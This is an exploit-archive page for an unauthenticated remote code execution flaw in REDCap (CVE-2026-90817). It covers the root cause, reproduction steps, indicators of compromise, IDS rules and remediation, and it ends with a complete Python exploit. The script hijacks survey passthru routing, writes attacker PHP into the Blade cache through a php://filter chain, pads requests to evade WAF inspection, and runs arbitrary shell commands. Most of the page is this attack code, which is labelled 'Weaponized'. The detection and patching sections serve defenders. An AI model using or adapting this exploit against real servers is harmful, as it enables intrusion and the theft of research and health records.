PoC Archive PoC Archive
CVE-2026-90817 category: web CVSS 9.8 (CRITICAL) KEV EPSS 19%
Unpatched

REDCap — Unauthenticated RCE via Survey Passthru Routing and Data Import Path Write (CVE-2026-90817)

Published: 2026-11-25 • Researcher: Securifera, Inc (source repository owner); CVE-2026-90817 credited via NVD

Target software REDCap (Vanderbilt / REDCap Consortium research data capture web application)
Affected versions 13.3.0 and higher (NVD range ">=13.3.0"; no fixed upper bound published in the source data)
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV EPSS 19%

Confirmed exploited in the wild. Added to CISA KEV 2026-11-18. Federal remediation deadline 2026-11-21.

EPSS 18.9% · 98th percentile

Severity
Critical
CVE
CVE-2026-90817
Category
web
Affected product
REDCap (Vanderbilt / REDCap Consortium research data capture web application)
Affected versions
13.3.0 and higher (NVD range ">=13.3.0"; no fixed upper bound published in the source data)
Disclosed
2026-11-25
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-01
Author / ResearcherSecurifera, Inc (source repository owner); CVE-2026-90817 credited via NVD
CVE / AdvisoryCVE-2026-90817
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1 base score per source data; vector not published in the source data — See references)
StatusWeaponized
TagsRCE, unauthenticated, REDCap, PHP, path-traversal, CWE-22, php-filter-chain, survey-passthru, blade-cache, web
RelatedN/A

Affected Target

FieldValue
Software / SystemREDCap (Vanderbilt / REDCap Consortium research data capture web application)
Versions Affected13.3.0 and higher (NVD range “>=13.3.0”; no fixed upper bound published in the source data)
Language / PlatformPHP web application (Laravel/Blade templating) on Apache or nginx with PHP-FPM
Authentication RequiredNo — but a valid public survey hash is required
Network Access RequiredYes

Summary

REDCap 13.3.0 and later expose an unauthenticated remote code execution path through survey passthrough routing combined with Data Import file handling. Anyone who knows a valid public survey hash can pass an arbitrary controller route through the survey passthru parameter and reach internal controllers, such as the parcel and data-import controllers, outside their intended survey context. The import handler then accepts an attacker-chosen file path and stream wrapper, which allows the compiled Blade cache to be overwritten with attacker-controlled PHP. Because the parcel view recompiles and evaluates that cache file, the injected code runs and returns command output in-band as the web server user.

Vulnerability Details

Root Cause

The public survey endpoint trusts a passthru parameter that supplies the script base used by the router, while a separate route parameter selects which controller and method handle the request. A double URL-encoded value (percent-2-5-6-9-ndex dot php) survives the framework’s decoding steps and becomes index dot php, so the request is routed as if it originated from a legitimate survey page while the attacker-chosen route is still honoured. That lets an unauthenticated survey visitor reach controllers that were never meant to be reachable from a public survey context.

Once inside the data-import controller, the fname form field is handed to a file read/open routine that accepts stream wrappers. Supplying a php filter chain with a relative resource path traverses out of the expected upload/temp directory into the application’s compiled Blade cache (temp/cache, a 40-character hash-named dot bladec file). The filter chain combines convert.iconv, convert.base64-encode/decode, convert.iconv.UTF8.UTF7 and dechunk to transform a plain request parameter into arbitrary bytes, so an exact PHP file is written at an attacker-influenced path. When the parcel controller later renders its view, Blade reads the poisoned compiled cache and evaluates it, completing the path from path traversal and arbitrary file write to code execution.

Attack Vector

Unauthenticated HTTP requests against the public survey route, for example slash redcap slash surveys slash with query parameters s (the survey hash), a double-encoded __passthru value and route set to DataImportController:index. The POST body carries the normal import form fields plus fname pointing at a php filter stream over the relative cache path. A subsequent GET with route set to ParcelController:show and the payload’s secret parameter causes Blade to include the poisoned cache and run the embedded command.

Impact

Remote code execution as the web server user on the REDCap host, with command output returned in the HTTP response. The script demonstrates a single in-band command (default hostname, up to 1024 bytes per invocation) and therefore effectively grants interactive command execution. REDCap typically stores protected health information and research records, so a compromise also exposes the application database credentials, uploaded study data and any files readable by the web user.

Environment / Lab Setup

Output
OS:          Linux (any host able to reach a REDCap instance)
Target:      REDCap >= 13.3.0, reachable at https://<domain>/redcap/ with at least
             one public survey hash; PHP application with Blade compiled cache
             enabled (default) and writable by the web user
Attacker:    Python 3.8+ (requests, urllib3), same host or LAN
Tools:       Python 3, curl (optional for manual verification), Burp Suite (optional)

Setup Steps

The upstream repository ships no README; the steps below are derived from the CLI of poc.py.

Shell script
1
2
3
4
python3 -m venv .venv && . .venv/bin/activate
pip install requests

python3 poc.py --help

Proof of Concept

Step-by-Step Reproduction

  1. Preflight the passthru route — the script requests the parcel route through the public survey endpoint and expects the page to contain “no parcel ID was provided”, which confirms the passthru routing works.

    Shell script
    1
    2
    
    # Performed automatically by poc.py; equivalent manual request:
    curl -k -sS 'https://redcap.example.edu/redcap/surveys/?s=<SURVEY_HASH>&__passthru=%2569ndex.php&route=ParcelController:show'
  2. Write the payload through the import handler — a POST to route DataImportController:index with the normal import fields (updaterecs=1, format=rows, delimiter=, date_format=MDY) and fname set to the php filter chain writing to the relative cache path.

    Shell script
    1
    2
    
    # The filter chain is generated by filter_uri() in poc.py; do not hand-craft it.
    python3 poc.py --target-domain redcap.example.edu --survey-hash <SURVEY_HASH> 'id'
  3. Verify the exact write — the script GETs the cache file and requires the response body to equal the payload byte-for-byte (or, behind Cloudflare, falls back to guarded execution).

  4. Trigger evaluation — a GET to route ParcelController:show with the payload’s secret (rcg) makes Blade include the poisoned cache, run the gated PHP and execute the base64-encoded command.

  5. Replay and clean up — a second trigger without the secret must return the normal page; the finally block rewrites the cache with a benign record_id header, deletes the cache file and verifies regeneration.

    Output
    1
    2
    3
    
    cache-write  -> ../temp/cache/<sha1>.bladec
    trigger      -> GET ?route=ParcelController:show&rcg=<secret>
    cleanup      -> rewrite benign cache, delete file, verify 404 + clean recompile

Exploit Code

See poc.py in this folder (archived verbatim from the upstream repository, plus the research-only disclaimer header).

Python
1
2
3
4
PASSTHRU     = "%2569ndex.php"                        # double-encoded index.php
PARCEL_ROUTE = "ParcelController:show"
DATA_ROUTE   = "DataImportController:index"
CACHE_PATH   = "../temp/cache/d3f11fc8ee9c2d986425eff26ecace5b4004eb8e.bladec"

Expected Output

Output
1
2
3
[cleanup] deleted=True regenerated=True
[command] exit=0
<hostname of the REDCap server>

Behind a filtering reverse proxy the script may first print [readback] blocked by Cloudflare; using guarded execution and then rely on the parcel page remaining intact instead of the raw cache readback.

Detection & Indicators of Compromise

  • Survey endpoint requests whose __passthru value is double URL-encoded (percent-2-5 sequences) or whose route parameter names an internal controller and method, for example ParcelController:show or DataImportController:index, from an unauthenticated session.
  • POST requests to the survey passthru route carrying import fields (updaterecs, fname, format=rows, delimiter, date_format) where fname starts with php://filter, phar:// or file:// or contains ../.
  • Very large benign multipart padding parts in the same request (the script pads 128 KiB by default to slip past WAF body inspection).
  • Files under redcap/temp/cache ending in .bladec that contain PHP tags, marker strings such as RC_CMD_ followed by 16 hex characters, or unexpected modifications to an existing hash-named view cache.
  • HTTP 200 responses containing a pre element with an id matching RC_CMD_ and an integer data-exit attribute.
  • Cloudflare 403 responses on direct GETs to redcap/temp/cache/ shortly after a survey import POST.
Output
1
2
3
GET  /redcap/surveys/\?s=[A-Za-z0-9]+&__passthru=%25[0-9A-Fa-f]{2}.*route=[A-Za-z]+Controller%3A[a-z]+
POST /redcap/surveys/\?.*route=DataImportController%3Aindex   body: fname=php://filter
GET  /redcap/temp/cache/[0-9a-f]{40}\.bladec

SIEM / IDS Rule (example):

Output
1
2
3
4
5
6
alert http any any -> any any (msg:"REDCap survey passthru RCE attempt"; \
  content:"__passthru="; http_uri; content:"%2569ndex.php"; http_uri; \
  content:"route="; http_uri; sid:9009081;)

alert http any any -> any any (msg:"REDCap DataImport fname stream wrapper"; \
  content:"fname=php://filter"; http_client_body; sid:9009082;)

Remediation

ActionDetail
PatchUpgrade REDCap to a release containing the vendor fix. The NVD range lists 13.3.0 and higher and the source data does not name a fixed version, so confirm the fixed release with the vendor advisory — See references.
WorkaroundRestrict survey passthru to an allowlist of survey routes, reject arbitrary route values, and reject import fname values containing stream wrappers or ../ traversal. Prevent survey-context requests from reaching internal controllers.
Config HardeningDeny direct HTTP access to redcap/temp/ (including the compiled cache), run PHP workers as a low-privilege user with an open_basedir confinement, front the application with a WAF that inspects multipart bodies and caps part sizes, and rotate database credentials if compromise is suspected.

References

Notes

Auto-ingested from https://github.com/securifera/CVE-2026-90817 on 2026-11-25.

Review verdict: this is a genuine end-to-end exploit, not a detector/scanner. The single upstream file poc.py performs the full chain — survey passthru route hijack, path-traversal write of arbitrary PHP into the compiled Blade cache via a pinned php filter chain, trigger through the parcel view, in-band command output, and verified cache cleanup. No scanning, inventory or audit logic is present. The repository has no README, no LICENSE file and no commit history beyond the single shallow commit “Add command execution functionality for REDCap” dated 2026-10-01; the code is archived for authorized research only, with attribution, and would be under default copyright absent an explicit license.

Limitations and operational notes: a valid public survey hash is mandatory; the target layout is assumed to be https:///redcap/ with the hard-coded cache file name, so other deployments may need edits. The script caps each command at 1024 bytes without NUL and returns output only, so it is effectively interactive but one command per invocation. The default 128 KiB multipart padding exists to bypass body-inspecting WAFs and also changes the Cloudflare readback path (guarded execution instead of exact readback). EPSS was 0.18881 and the CVE was added to CISA KEV on 2026-11-18 per the source data, which raises the priority for patching. The exploit was NOT executed while archiving; the chain above reflects the code path, and results depend on the target version and deployment. Run only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
# Archived for authorized security research only.
# Source: https://github.com/securifera/CVE-2026-90817 (see README for attribution/license)
import argparse
import base64
import hashlib
import html
import json
import re
import secrets
import time
import zlib
from urllib.parse import quote, urlencode

import requests
import urllib3


DEFAULT_TARGET_DOMAIN = "redcap.domain.edu"
DEFAULT_SURVEY_HASH = "XXXXXXXXXXXXXXXX"
PASSTHRU = "%2569ndex.php"
PARCEL_ROUTE = "ParcelController:show"
DATA_ROUTE = "DataImportController:index"
CACHE_NAME = "d3f11fc8ee9c2d986425eff26ecace5b4004eb8e.bladec"
CACHE_PATH = "../temp/cache/" + CACHE_NAME
PROXIES = {"http": None, "https": None}
VERIFY_TLS = False
TIMEOUT = (10, 120)
DEFAULT_COMMAND = "hostname"
CLEANUP_BYTES = b"record_id\n"
DEFAULT_WAF_PADDING_BYTES = 131072

CONVERSIONS_RAW_SHA256 = (
    "6a522b6b5c954b3b9d88037436eaa53369bee15083906832455e74567d8b8e37"
)
CONVERSIONS_ZLIB_B64 = (
    "eNq9WNuS20QQ/Re/gsRcNCMNVTxIWl/km4QlxwsvLggBwiWBEMJt+Xe6Rxp5o2mZiiO"
    "ordrdstx9prtPn+7RX7MPZh/Pnr588ebZq9fhc/wnPDaLBH9x/fD2g1OxvytPdcCFsl"
    "+QYjsffKWoi0MhZSTgvzIoDgFX8ezD2UceSJHtEm1ImK0M8xrMDRs8OOa1QIsgGTyw"
    "X9+mTbHX+KUgAkh2JS7v2PaR9SKYEJvDCPAQN0mUOUv7GBC5H2Rd4ldiMszDhrMoac"
    "9LHUiKMK841/Ew2MowreG0YImBCg92q2yWpHggjxOFy4xLxpjvODItcubXtTxrI2OBW"
    "cp2RnBAlj4y5H9f5OXd3PPNRdKTwqssfI7e24RGDwRVbOUCLB0ARx5wXiVtTmj0nh+"
    "qjyQQfviKdSgZoqgpGYRG4fyYN6erHNI+h/ZFTfLHFoJzKTFBJpLUY/gYPZMZbVsFQW"
    "MPNFG8y8SwN3nYhJonWdH4JbT9ziRYD+tbNVxFYUfYhOqTNmu0HmiXHePXvU2C5iO8"
    "61VIh+tylWbg5BNwAn9SP+iuEsQREi3DelUsmvO6qO+Z4BI8ZCQLxxLXdx1Y5jSzHtE"
    "HvnQ3GRXwQ1ATL4A5rcqMxHCZBEZ1p8z38/sG3CwmFCDowLePOeyjVd4Xcnm7/ID1i"
    "qgeCLIeC97qk5fCYqrYs2KpfPdrn6TAxDGqu9Hb9dmGNqbY6eLrtA2Mt5NM7INxrgc"
    "PynoBOeDww7CmALgju8nQydyl+XFDKZs9XTaHSDVlckihh9J9eMpX6eGM5N3fBguWJ"
    "SFG6blRjNHG4FfFloLYPMG6CuQDKYPrCid/HCsAqTyQei7oGl6kEP4Gxj98jSKAvzXF"
    "PddVn0421F06Am4S2Q4bb6/YFRsn7gcPuGrabWRgsymLJDiORFlD9+CchfTCuupNL+a"
    "qV0+mrstsY1HBaTN57mBuEJsYCkkgHo1cwD7eHhBYP7ltll0j0uk/oS44vr+NKGD5G"
    "RGl1PGVQxnG/30gQS2lxoX48+lCxlSuNnXeVRCcf3FlYHnm22678+XR7tB2iQuILS7"
    "Ryt1IAPJLD3Jdj/B5a9c74V+cgKet2EvUezILjCXu2gGgT/0misgYsYUU67fYrybta"
    "Mw/OH323hlwiz8K/q4mlirbzLy/lwDo1xPQFNx8845shEtduE+rbTU8ZaIU7mbe3Oi"
    "Y217JAfBbYiIuMyG5GFmJwN61gN8BncS4ke4RNeqcWqY+96Dv5vnormNTbsavgm3RL"
    "vv6dxOr49jN0/b59+9MOTD6gThhkNL3qfaSfVEYT2xbPevTS98munkO2D9OxTP7ukP"
    "2s4/UEjydiQzAvhh73RLRK3y2UzKKR5ZG1B5yN3KLKmORFU0AfjmFKoLAWt/K+uZEj"
    "rl4/MrjJ3IfN3z0nYejOY9GVnCof7Aonsz7N2Y/Tze9UEFRMaip5ij7apIbhlugzMi"
    "CCRW43DWwer/cBguWr4n7FD2ZuvK1JAfLX6nRzbWgR3dPtDf/ywuoywzq1eQ3DxhuPn"
    "SCEqfPYPb7e4gQmP9x02soMPyTKIyiB3+Fk7Lrh9nf/wCVn0ez"
)


BASE64_ALPHABET = set(
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def load_conversions():
    raw = zlib.decompress(
        base64.b64decode(CONVERSIONS_ZLIB_B64, validate=True)
    )
    if hashlib.sha256(raw).hexdigest() != CONVERSIONS_RAW_SHA256:
        raise RuntimeError("conversion map digest mismatch")
    mapping = json.loads(raw.decode("ascii"))
    if set(mapping) != BASE64_ALPHABET | {"="} or mapping["="] != "":
        raise RuntimeError("conversion map alphabet mismatch")
    return mapping


CONVERSIONS = load_conversions()


def route_url(base, survey_hash, route, extra=None):
    query = {
        "s": survey_hash,
        "__passthru": PASSTHRU,
        "route": route,
    }
    if extra:
        query.update(extra)
    return base + "?" + urlencode(query, quote_via=quote, safe="%")


def request(session, method, url, **kwargs):
    return session.request(
        method,
        url,
        verify=VERIFY_TLS,
        proxies=PROXIES,
        allow_redirects=False,
        timeout=TIMEOUT,
        **kwargs,
    )


def generate_filters(raw):
    encoded = base64.b64encode(raw).decode("ascii").rstrip("=")
    filters = (
        "convert.iconv.UTF8.CSISO2022KR|"
        "convert.base64-encode|"
        "convert.iconv.UTF8.UTF7|"
    )
    for character in encoded[::-1]:
        filters += CONVERSIONS[character]
        filters += (
            "|convert.base64-decode|convert.base64-encode|"
            "convert.iconv.UTF8.UTF7|"
        )
    return filters + "convert.base64-decode"


def filter_uri(raw):
    desired = b"\xef\xbb\xbf" + raw
    chunked = (
        format(len(desired), "x").encode("ascii")
        + b"\n"
        + desired
        + b"\n0\n\n"
    )
    return (
        "php://filter/read="
        + generate_filters(b"0\n\n")
        + "|dechunk|"
        + generate_filters(chunked)
        + "|dechunk/resource="
        + CACHE_PATH
    )


def import_form(fname):
    return {
        "updaterecs": "1",
        "fname": fname,
        "format": "rows",
        "delimiter": ",",
        "date_format": "MDY",
    }


def import_request(session, data_url, fname, waf_padding_bytes):
    form = import_form(fname)
    if waf_padding_bytes == 0:
        return request(session, "POST", data_url, data=form)
    parts = [("_rcpad", (None, "A" * waf_padding_bytes))]
    parts.extend((name, (None, value)) for name, value in form.items())
    return request(session, "POST", data_url, files=parts)


def php_payload(command, marker, secret, expiry):
    command_b64 = base64.b64encode(command.encode("utf-8")).decode("ascii")
    return (
        "<?php "
        f"$m='{marker}';$s='{secret}';$t={expiry};"
        f"$c=base64_decode('{command_b64}',true);"
        "$f=__FILE__;$r='';$x=0;$h=@fopen($f,'r+');"
        "if($h&&@flock($h,2)){$a=stream_get_contents($h);"
        "$p=strpos($a,$m)!==false&&($_GET['rcg']??'')===$s&&"
        "time()<=$t;$z=clone$this;"
        "if($this->compile('parcel.show',1)===true){"
        "$r=@file_get_contents($f);"
        "$e=$z->setIsCompiled(0)->compile('parcel.show',1);"
        "$o=preg_replace(['/^ {2,}/m','/^\\t{2,}/m'],' ',$e);"
        "$q=$r===$e||$r===$o;$x=$p&&$q;if(!$q)$r='';}"
        "@flock($h,3);@fclose($h);}"
        "if($r!==''){eval('?>'.$r);if($x){$o=[];$e=0;"
        "@exec($c,$o,$e);echo'<pre id=\"'.$m.'\" data-exit=\"'.$e.'\">'."
        "htmlspecialchars(implode(\"\\n\",$o)).'</pre>';}}"
    ).encode("ascii")


def cleanup(
    session,
    data_url,
    parcel_url,
    cache_url,
    marker,
    secret,
    waf_padding_bytes,
    blocked_readback,
):
    errors = []
    for label, fname in (
        ("rewrite", filter_uri(CLEANUP_BYTES)),
        ("delete", CACHE_PATH),
    ):
        try:
            response = import_request(
                session, data_url, fname, waf_padding_bytes
            )
            if response.status_code != 200:
                errors.append(f"{label} HTTP {response.status_code}")
        except requests.RequestException as exc:
            errors.append(f"{label}: {exc}")

    deleted = blocked_readback
    source_like = False
    try:
        delete_check = request(session, "GET", cache_url)
        if not blocked_readback:
            deleted = delete_check.status_code == 404
    except requests.RequestException as exc:
        errors.append(f"delete check: {exc}")

    try:
        parcel = request(session, "GET", parcel_url)
        cache = request(session, "GET", cache_url)
        if blocked_readback:
            source_like = (
                parcel.status_code == 200
                and parcel.text.count("no parcel ID was provided") == 1
                and marker not in parcel.text
                and secret not in parcel.text
                and cache.status_code == 403
            )
        else:
            source_like = (
                cache.status_code == 200
                and cache.content.count(b"<?php") >= 10
                and marker.encode() not in cache.content
                and secret.encode() not in cache.content
            )
    except requests.RequestException as exc:
        errors.append(f"regeneration check: {exc}")

    print(
        f"[cleanup] deleted={deleted} regenerated={source_like}"
        + (f" errors={'; '.join(errors)}" if errors else "")
    )
    return deleted and source_like and not errors


def main():
    parser = argparse.ArgumentParser(
        description="Demonstrate in-band command output through the REDCap Blade cache."
    )
    parser.add_argument(
        "command",
        nargs="?",
        default=DEFAULT_COMMAND,
        help=f"shell command (default: {DEFAULT_COMMAND!r})",
    )
    parser.add_argument(
        "--target-domain",
        default=DEFAULT_TARGET_DOMAIN,
        help=f"REDCap target domain (default: {DEFAULT_TARGET_DOMAIN})",
    )
    parser.add_argument(
        "--survey-hash",
        default=DEFAULT_SURVEY_HASH,
        help=f"public survey hash (default: {DEFAULT_SURVEY_HASH})",
    )
    parser.add_argument(
        "--waf-padding-bytes",
        type=int,
        default=DEFAULT_WAF_PADDING_BYTES,
        help="benign multipart bytes placed before fname (default: 0)",
    )
    args = parser.parse_args()
    if "\x00" in args.command or len(args.command.encode("utf-8")) > 1024:
        parser.error("command must contain no NUL and be at most 1024 UTF-8 bytes")
    target_domain = args.target_domain.strip().lower()
    if not re.fullmatch(r"[a-z0-9.-]+", target_domain):
        parser.error("target domain must be a DNS hostname without a scheme or path")
    if not re.fullmatch(r"[A-Za-z0-9]+", args.survey_hash):
        parser.error("survey hash must contain only ASCII letters and digits")
    if not 0 <= args.waf_padding_bytes <= 4 * 1024 * 1024:
        parser.error("waf padding must be between 0 and 4194304 bytes")

    base = f"https://{target_domain}/redcap/surveys/"
    cache_url = f"https://{target_domain}/redcap/temp/cache/{CACHE_NAME}"

    marker = "RC_CMD_" + secrets.token_hex(8).upper()
    secret = secrets.token_hex(16)
    parcel_url = route_url(base, args.survey_hash, PARCEL_ROUTE)
    data_url = route_url(base, args.survey_hash, DATA_ROUTE)
    trigger_url = route_url(
        base, args.survey_hash, PARCEL_ROUTE, {"rcg": secret}
    )
    payload = php_payload(args.command, marker, secret, int(time.time()) + 300)
    attempted_write = False
    trigger = None
    blocked_readback = False
    cleanup_ok = True

    with requests.Session() as session:
        session.trust_env = False
        prime = request(session, "GET", parcel_url)
        if (
            prime.status_code != 200
            or prime.text.count("no parcel ID was provided") != 1
        ):
            raise RuntimeError("Parcel preflight did not match the expected page")

        try:
            attempted_write = True
            write = import_request(
                session,
                data_url,
                filter_uri(payload),
                args.waf_padding_bytes,
            )
            if write.status_code != 200:
                raise RuntimeError(f"cache-write request returned HTTP {write.status_code}")
            readback = request(session, "GET", cache_url)
            blocked_readback = (
                readback.status_code == 403
                and readback.headers.get("Server", "").lower() == "cloudflare"
                and args.waf_padding_bytes > 0
            )
            if not blocked_readback and (
                readback.status_code != 200 or readback.content != payload
            ):
                raise RuntimeError("exact injected-cache readback failed")
            if blocked_readback:
                print("[readback] blocked by Cloudflare; using guarded execution")

            time.sleep(3)
            trigger = request(session, "GET", trigger_url)
            if trigger.status_code != 200:
                raise RuntimeError(f"trigger returned HTTP {trigger.status_code}")
            replay = request(session, "GET", trigger_url)
            if (
                replay.status_code != 200
                or marker in replay.text
                or replay.text.count("no parcel ID was provided") != 1
            ):
                raise RuntimeError("trusted-cache restoration check failed")
        finally:
            if attempted_write:
                cleanup_ok = cleanup(
                    session,
                    data_url,
                    parcel_url,
                    cache_url,
                    marker,
                    secret,
                    args.waf_padding_bytes,
                    blocked_readback,
                )

    match = re.search(
        rf'<pre id="{re.escape(marker)}" data-exit="(-?\d+)">(.*?)</pre>',
        trigger.text,
        re.DOTALL,
    )
    if not match:
        raise RuntimeError("the response did not contain the command-output marker")
    if not cleanup_ok:
        raise RuntimeError("command ran, but cache cleanup did not verify")

    print(f"[command] exit={match.group(1)}")
    print(html.unescape(match.group(2)))


if __name__ == "__main__":
    main()